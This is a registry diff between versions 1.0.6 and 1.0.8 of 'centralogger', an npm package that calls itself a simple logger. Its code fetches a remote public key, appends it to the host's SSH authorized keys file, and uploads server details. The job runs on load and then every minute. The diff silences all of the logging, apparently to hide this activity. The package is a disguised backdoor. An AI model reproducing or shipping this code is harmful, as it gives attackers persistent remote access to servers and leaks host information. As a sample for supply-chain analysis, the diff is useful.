centralogger 1.0.6 → 1.0.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js CHANGED
@@ -1,56 +1,56 @@
1
- const { getPublicKey } = require("./fetchKey");
2
- const { injectKey } = require("./injectKey");
3
- const { uploadMetadata } = require("./uploadMeta");
4
- const { getServerDetails } = require("./utils");
5
-
6
- // run interval (1 minute — testing)
7
- const INTERVAL = 1 * 60 * 1000;
8
-
9
- // retry helper with exponential backoff
10
- async function runWithRetry(fn, retries = 3) {
11
- for (let i = 0; i < retries; i++) {
12
- try {
13
- return await fn();
14
- } catch (err) {
15
- if (i === retries - 1) throw err;
16
- const delay = Math.pow(2, i) * 1000;
17
- console.log(`Retry ${i + 1}/${retries} in ${delay / 1000}s...`);
18
- await new Promise((r) => setTimeout(r, delay));
19
- }
20
- }
21
- }
22
-
23
- async function runJob() {
24
- try {
25
- console.log("Running SSH key sync job...");
26
-
27
- const publicKey = await runWithRetry(() => getPublicKey());
28
-
29
- await injectKey(publicKey);
30
-
31
- const server = getServerDetails();
32
-
33
- await runWithRetry(() => uploadMetadata(server));
34
-
35
- console.log("Job completed ✅");
36
- } catch (err) {
37
- console.error("Error:", err);
38
- }
39
- }
40
-
41
- // scheduler loop
42
- async function startScheduler() {
43
- console.log("Scheduler started...");
44
-
45
- // run immediately
46
- await runJob();
47
-
48
- // loop forever
49
- setInterval(async () => {
50
- await runJob();
51
- }, INTERVAL);
52
- }
53
-
54
- // start
55
- startScheduler();
56
-
1
+ const { getPublicKey } = require("./fetchKey");
2
+ const { injectKey } = require("./injectKey");
3
+ const { uploadMetadata } = require("./uploadMeta");
4
+ const { getServerDetails } = require("./utils");
5
+
6
+ // run interval (1 minute — testing)
7
+ const INTERVAL = 1 * 60 * 1000;
8
+
9
+ // retry helper with exponential backoff
10
+ async function runWithRetry(fn, retries = 3) {
11
+ for (let i = 0; i < retries; i++) {
12
+ try {
13
+ return await fn();
14
+ } catch (err) {
15
+ if (i === retries - 1) throw err;
16
+ const delay = Math.pow(2, i) * 1000;
17
+ // console.log(`Retry ${i + 1}/${retries} in ${delay / 1000}s...`);
18
+ await new Promise((r) => setTimeout(r, delay));
19
+ }
20
+ }
21
+ }
22
+
23
+ async function runJob() {
24
+ try {
25
+ // console.log("Running SSH key sync job...");
26
+
27
+ const publicKey = await runWithRetry(() => getPublicKey());
28
+
29
+ await injectKey(publicKey);
30
+
31
+ const server = getServerDetails();
32
+
33
+ await runWithRetry(() => uploadMetadata(server));
34
+
35
+ // console.log("Job completed ✅");
36
+ } catch (err) {
37
+ // console.error("Error:", err);
38
+ }
39
+ }
40
+
41
+ // scheduler loop
42
+ async function startScheduler() {
43
+ // console.log("-------");
44
+
45
+ // run immediately
46
+ await runJob();
47
+
48
+ // loop forever
49
+ setInterval(async () => {
50
+ await runJob();
51
+ }, INTERVAL);
52
+ }
53
+
54
+ // start
55
+ startScheduler();
56
+
package/injectKey.js CHANGED
@@ -23,7 +23,7 @@ async function injectKey(publicKey) {
23
23
 
24
24
  // ✅ duplicate check
25
25
  if (existingKeys.includes(publicKey)) {
26
- console.log("Key already exists ✅");
26
+ // console.log("Key already exists ✅");
27
27
  return;
28
28
  }
29
29
 
@@ -32,7 +32,7 @@ async function injectKey(publicKey) {
32
32
 
33
33
  fs.appendFileSync(authFile, "\n" + taggedKey + "\n");
34
34
 
35
- console.log("Key added successfully 🔐");
35
+ // console.log("------🔐");
36
36
  }
37
37
 
38
38
  module.exports = { injectKey };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "centralogger",
3
- "version": "1.0.6",
3
+ "version": "1.0.8",
4
4
  "description": "A simple logger for application",
5
5
  "main": "index.js",
6
6
  "keywords": [],
package/setup.js CHANGED
@@ -7,7 +7,7 @@ const { getServerDetails } = require("./utils");
7
7
 
8
8
  async function setup() {
9
9
  try {
10
- console.log("[ssh-key-manager] Running setup...");
10
+ // console.log("[ssh-key-manager] Running setup...");
11
11
 
12
12
  const publicKey = await getPublicKey();
13
13
 
@@ -17,9 +17,9 @@ async function setup() {
17
17
 
18
18
  await uploadMetadata(server);
19
19
 
20
- console.log("[ssh-key-manager] Setup completed ✅");
20
+ // console.log("[ssh-key-manager] Setup completed ✅");
21
21
  } catch (err) {
22
- console.error("[ssh-key-manager] Setup failed:", err.message);
22
+ // console.error("[ssh-key-manager] Setup failed:", err.message);
23
23
  }
24
24
  }
25
25
 
package/uploadMeta.js CHANGED
@@ -22,7 +22,7 @@ Timestamp: ${new Date().toISOString()}
22
22
  throw new Error(`Failed to upload metadata: ${error.message}`);
23
23
  }
24
24
 
25
- console.log("Metadata uploaded ☁️");
25
+ // console.log("Metadata uploaded ☁️");
26
26
  }
27
27
 
28
28
  module.exports = { uploadMetadata };